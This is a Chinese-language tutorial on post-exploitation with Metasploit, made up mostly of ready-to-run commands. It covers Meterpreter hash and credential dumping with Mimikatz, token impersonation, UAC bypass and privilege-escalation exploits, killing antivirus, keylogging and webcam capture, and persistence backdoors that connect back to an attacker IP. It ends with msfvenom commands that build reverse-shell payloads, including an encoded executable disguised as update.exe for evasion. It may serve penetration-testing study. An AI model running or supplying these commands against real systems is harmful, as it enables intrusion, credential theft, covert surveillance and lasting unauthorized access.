後滲透(Post-exploitation)是網路攻擊的後期階段,發生在成功入侵目標系統或網路之後。在這一階段,重點是進行一系列後續操作,目的是加強攻擊者在系統中的地位、擴大存取範圍、竊取敏感資料、植入後門,或為未來的攻擊活動做準備。後滲透的活動可能包括提權、橫向移動、存取敏感資料、維持存取權限等,與初步入侵階段不同,後滲透更側重於利用已經獲得的存取權限來達成攻擊者的目標。
以下是一些具體的例子:
後滲透策略和技術多樣且持續演進,這要求除了加強外部防禦外,還要提升內部監控和應急應對能力,以應對可能的後滲透活動。
在後滲透階段,攻擊者會使用各種工具來達成他們的目標,包括提權、橫向移動、取得敏感資訊、維持存取權限和清除痕跡等。以下是一些常見的後滲透工具:
Metasploit Framework:一個廣泛使用的開源滲透測試框架,提供了大量的利用代碼、輔助模組和後滲透工具。攻擊者可以利用它來執行遠端代碼執行、提權、建立持久存取的後門等操作。
Mimikatz:專門用於 Windows 平台的工具,可以提取密碼、雜湊值、憑證和其他類型的認證資訊。這對於執行橫向移動(使用提取的憑證存取網路中的其他系統)和維持對已滲透系統的存取非常有用。
Cobalt Strike:一款專業的滲透測試工具,提供了一整套完整的威脅模擬功能。它包含如“Beacon”等功能,可用於維持存取、橫向移動、執行命令、上傳/下載檔案等。Cobalt Strike 特別強大的地方在於其“團隊伺服器”功能,允許多位攻擊者協同工作。
BloodHound:使用圖論來揭示 Active Directory 環境中的隱藏和複雜關係。它能幫助攻擊者發現高價值的目標,例如哪些帳號具有管理員權限,以及透過何種途徑可以獲得這些權限。這對於規劃橫向移動和提權策略非常有用。
使用 Rapid7 提供的快速安裝方案 metasploit-omnibus,可以實現一鍵安裝。
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安裝完成後,Metasploit Framework 的位置為 /opt/metasploit-framework/embedded/framework/。
* modules
* auxiliary:主要包含輔助性腳本,例如掃描、嗅探、注入、爆破和漏洞挖掘。
* encoders:主要包含各種編碼工具,用於繞過入侵檢測和過濾系統。
* exploits:漏洞利用,包含主流的漏洞利用腳本,命名規則為 exp:系統/服務/模組。
* nops:用於繞過針對溢出攻擊的滑行字符串檢測。
* payloads:攻擊荷載,主要在目標機器上執行代碼。
* post:此目錄包含 msf 執行成功後,向目標發送的一些功能性指令,如提權、獲取 hash 等。
* evasion:新增的目錄,用於生成免殺 payload,類似於集成 msfvenom 的功能。
* data:存放 Meterpreter、passiveX、VNC、DLLs 等工具和一些用戶接口代碼,還有 msfweb 和其他模組用到的數據檔案。
* plugins:包含需要加載的模組,用於提供數據庫連接插件和各種其他插件。
* scripts:此目錄下的檔案大多是 Meterpreter 模組利用的腳本,比如轉移到其他進程的 migrate 指令的源代碼就在此。
* tools:包含一些有用的腳本和零散的工具。
Meterpreter 是一種隨階段(stage)payload,它在 Metasploit Framework 中被用作後滲透工具。Meterpreter 是一種動態可擴展的 payload,能夠在執行過程中透過網路進行功能擴展。它基於「內存 DLL 注入」的理念實現,透過創建新進程並調用注入的 DLL 檔案,使目標系統運行這些注入的 DLL 檔案。
使用 Meterpreter 的過程如下:
首先,目標系統需要執行初始的溢出漏洞會話,這可能是正向連接(bind)或反向連接(reverse)。在反向連接過程中,Meterpreter 會加載 DLL 檔案並在背景中處理這些檔案。接著,Meterpreter 核心代碼會初始化,透過 socket 套接字建立一個 TLS 加密隧道,並向 Metasploit 伺服器發送 GET 請求。當 Metasploit 伺服器收到這個 GET 請求後,會配置相應的客戶端。最後,Meterpreter 會加載擴展,所有擴展的加載過程也會透過 TLS 進行數據傳輸。
可以將攻擊代碼寫入 configure.rc(只要是以 .rc 結尾的檔案)配置檔案中,然後使用以下命令進行自動攻擊:
msfconsole -r configure.rc
getuid:查看當前用戶。
load powershell:加載 PowerShell 模組。
powershell_shell:啟動 PowerShell 環境。
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List:查看 Users 或 Everyone 是否有 SAM 註冊表項的讀取權限。
use espia:選擇 Espia 模組。
screenshot:拍攝當前屏幕截圖。
screengrab:截取螢幕圖像。
webcam_snap -i 1 -v false:使用攝像頭拍照(不開啟閃光燈)。
run post/windows/gather/checkvm:檢查是否為虛擬機。
run post/linux/gather/checkvm:檢查是否為虛擬機。
run post/windows/gather/enum_applications:獲取目標主機上安裝的應用程式資訊。
run post/windows/gather/enum_patches:查看目標主機的補丁資訊。
run post/windows/gather/enum_domain:查找目標主機的網域控制器。
run post/windows/gather/enum_logged_on_users:列舉當前登錄過主機的用戶。
run post/windows/gather/credentials/windows_autologin:抓取自動登錄的用戶名和密碼。
run post/windows/gather/forensics/enum_drives:查看磁碟分區。
run post/windows/gather/dumplinks:獲取最近的檔案操作記錄。
run post/windows/gather/enum_ie:獲取 Internet Explorer 的快取。
run post/windows/gather/enum_chrome:獲取 Chrome 的快取。
run post/linux/busybox/enum_hosts:讀取 /var/hosts。
run post/windows/gather/enum_hostfile:讀取 %windir%\system32\drivers\etc\hosts。
run hashdump:取得使用者密碼的 hash 值。
load mimikatz:載入 Mimikatz 模組,用於抓取密碼,包括明文密碼和 hash 值。
msv:取得的是 hash 值。
ssp:取得的是明文密碼資訊。
kerberos:取得 Kerberos 票證。
wdigest:讀取內存中存放的帳號密碼明文資訊。
mimikatz_command -f samdump::hashes:取得使用者的 hash 值。
mimikatz_command -f handle::list:列出應用程式進程。
mimikatz_command -f service::list:列出系統服務。
run windows/gather/credentials/windows_autologin:抓取自動登錄的帳號和密碼。
run windows/gather/smart_hashdump:抓取密碼 hash 值及其他相關資訊。
use post/windows/gather/hashdump:使用 post 模組來抓取密碼 hash 值。
set session 1:設定會話編號為 1。
exploit:執行命令以抓取密碼 hash 值。
getuid:查看當前權限。
getsystem:提升權限。
getuid:再次查看,以確認是否成功提升權限。
由於 webshell 的權限通常較低,無法進行如檢視重要檔案、修改系統資訊、抓取管理員密碼和 hash、安裝特殊程式等操作,因此我們需要獲取系統更高的權限。
什麼是 UAC?
Microsoft 的 Windows Vista 和 Windows Server 2008 系統引入了用戶帳戶控制(UAC)架構,用來防止系統範圍內的意外更改。這是一個安全功能,確保只有在管理員授權的情況下才進行某些更改。如果管理員不允許,這些更改將無法執行,系統會保持不變。
UAC 如何運作?
UAC 透過阻止程序執行涉及系統更改或特定任務的操作來運作。除非這些操作的進程以管理員權限運行,否則無法執行這些操作。如果程序以管理員身份運行,它會獲得更多的權限。
如果使用者沒有管理員權限,就無法執行需要管理員權限的命令,例如修改註冊表資訊、創建用戶、讀取管理員帳號密碼、設置計畫任務等。
最直接的提權命令是 getsystem。
繞過 UAC 防護機制
首先,我們需要透過 exploit 獲得目標主機的 Meterpreter 會話。獲得 Meterpreter 會話 1 後,輸入以下命令以檢查是否具備 system 權限。在這裡直接執行命令,我們需要將獲取的 session 保存到背景,使用 background 命令:
background
use exploit/windows/local/bypassuac:透過進程注入並使用可信任的發行者證書來繞過 UAC,將生成關閉 UAC 標誌的第二個 shell。
sessions:查看當前的 session。
sessions -k:終止所有 session。
set session:設定為需要 exploit 的 session。
background
use exploit/windows/local/bypassuac_eventvwr:使用 Eventvwr 模組繞過 UAC。
set session 1
Exploit
此模組透過在 HKCU 配置單元中創建 COM 處理程序註冊表項來繞過 UAC。當加載某些高完整性級別的進程時,會引用這些註冊表項,從而加載用戶控制的 DLL,這些 DLL 包含會話權限提升的 payload。該模組會修改註冊表項,但在執行 payload 後會清除該項。模組需要 payload 的架構和作業系統匹配,但當前低權限的 Meterpreter 會話的架構可能不同。如果指定了 exe::custom,則應在單獨的進程中啟動 payload 後呼叫 ExitProcess()。此模組會透過目標上的 cmd.exe 調用目標的二進制檔案,因此如果 cmd.exe 的存取受到限制,該模組將無法正常運行。
background
use exploit/windows/local/bypassuac_comhijack
set session 1
Exploit
此模組透過在當前用戶的註冊表配置單元下劫持特定的註冊表鍵並插入自定義命令來繞過 UAC。它會產生一個關閉 UAC 標誌的第二個 shell。此模組會修改註冊表項,但在執行 payload 後會清除該項。該模組不需要 payload 的架構和作業系統匹配。如果指定了 EXE::Custom,則應在單獨的進程中啟動 payload 後呼叫 ExitProcess()。
background
use exploit/windows/local/bypassuac_eventvwr
set session 1
Exploit
除了上述模組,還有其他方法,如使用 incognito 模組中的 add_localgroup_user、ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc 等進行權限提升。
background
use exploit/windows/local/ms13_081_track_popup_menu:以 ms13-081 為例。
set session
Exploit
或
background
use post/windows/gather/enum_patches
set session
Exploit
在用戶登入 Windows 操作系統時,系統會分配一個令牌(Token)。當用戶訪問系統資源時,會使用這個令牌來進行身份驗證,這類似於網站的 session 或 cookie。
Metasploit 提供了一個功能模組,可以讓我們假冒其他人的令牌,實現身份切換。如果目標環境是網域環境,且網域管理員曾登入過我們已經有權限的終端,那麼我們就可以假冒成網域管理員的角色。
getuid:查看當前用戶。
use incognito:進入該模組。
list_tokens -u:查看存在的令牌。
impersonate_token [Username]:假冒令牌(注意用戶名中的斜線需要寫兩個)。
getuid:查看是否成功切換。
use post/windows/gather/enum_domain:使用這個模組來列舉網域資訊。
set session 1:設定要操作的會話為 1。
exploit:執行該模組來進行域管理員嗅探。
run killav:這個指令可以關閉目標系統上的防毒軟體。
一個技巧是將注入程式植入到 service.exe、svchost.exe 或高權限的防毒軟體中,以此來關閉其他防毒軟體。
pkill [進程名]:使用這個指令來關閉指定的進程。
keyscan_start:啟動鍵盤紀錄功能。
keyscan_dump:顯示捕捉到的鍵盤紀錄資訊。
keyscan_stop:停止鍵盤紀錄功能。
execute -f [path] [options]:在目標主機上執行指定的 exe 檔案。
-H:創建一個隱藏的進程。
-a:傳遞給命令的參數。
-i:與進程進行交互。
-m:從內存中執行。
-t:使用當前偽造的線程令牌來運行進程。
-s:在指定的會話中執行進程。
當 Meterpreter 作為獨立進程運行時,容易被發現。如果把它與系統經常運行的進程綁定,就能實現持久化。
getpid:查看當前會話的進程 ID。
ps:查看目標系統上正在運行的進程。
migrate [pid]:將 Meterpreter 移動到指定的進程中。
Metasploit 自帶兩種植入後門的方式:
原理:當指令成功執行後,會在 C:\Users\用戶名\AppData\Local\Temp 目錄下創建一個隨機名稱的資料夾,裡面會生成三個檔案(metsvc.dll、metsvc-server.exe、metsvc.exe),並會新增一個服務,顯示名稱為「Meterpreter」,服務名稱為「metsvc」,啟動類型設為「自動」,並綁定在 31337 端口。
自動化安裝:
run metsvc -A
使用 exploit/multi/handler 模組設定:
set payload windows/metsvc_bind_tcp
set rhost [lhost]
set lport 31337
exploit -j
原理:在 C:\Users\用戶名\AppData\Local\Temp 下上傳一個 VBS 腳本,通過該腳本在註冊表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 下新增一個開機啟動項。
run persistence -A
run persistence -X -i 10 -r 192.168.1.9 -p 4444
-A:安裝後門後,自動啟動 exploit/multi/handler 模組來連接後門。
-L:自啟動腳本的路徑,預設為 %TEMP%。
-P:需要使用的 payload,預設為 windows/meterpreter/reverse_tcp。
-S:作為服務在系統啟動時運行(需要 SYSTEM 權限)。
-T:要使用的備用可執行模板。
-U:用戶登入時運行。
-X:系統啟動時運行。
-i:後門每隔多少秒嘗試連接服務端。
-p:服務端監聽的端口。
-r:服務端 IP。
use exploit/multi/handle
set payload windows/meterpreter/reverse_tcp
set LHOST [lhost]
set LPORT [lport]
exploit -j
run post/windows/manage/enable_rdp:開啟 3389 端口的遠端桌面功能。
run post/windows/manage/enable_rdp username=xxx password=xxx:新增遠端桌面用戶(同時會將該用戶加入到管理員群組)。
msfvenom 是一個用於生成正向或反向 shell payload 的工具,當配合 meterpreter 使用時,可以大大便利滲透測試。不過,在實際使用過程中,通常需要進行免殺處理來避免被檢測到。
msfvenom -l [ payloads | encoders | nops | platforms | archs | encrypt | formats | all ]
msfconsole
use exploit/multi/handler
set payload <payload-name> # set payload windows/x64/meterpreter_reverse_tcp
set lhost <lhost>
set lport <lport>
set EnableStageEncoding false
set ExitOnSession false
exploit -j -z
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f elf > shell.elf
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf
msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -f exe > ./vu.exe
msfvenom --payload windows/meterpreter/reverse_tcp LHOST=********* LPORT=8080 -f exe --platform windows --arch x86 -e x86/shikata_ga_nai -i 10 > /var/www/html/update.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll
msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip lport=your-port -f macho > shell.macho
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho
msfvenom -p android/meterpreter/shell_reverse_tcp lhost=your-ip lport=your-port -f apk > shell.apk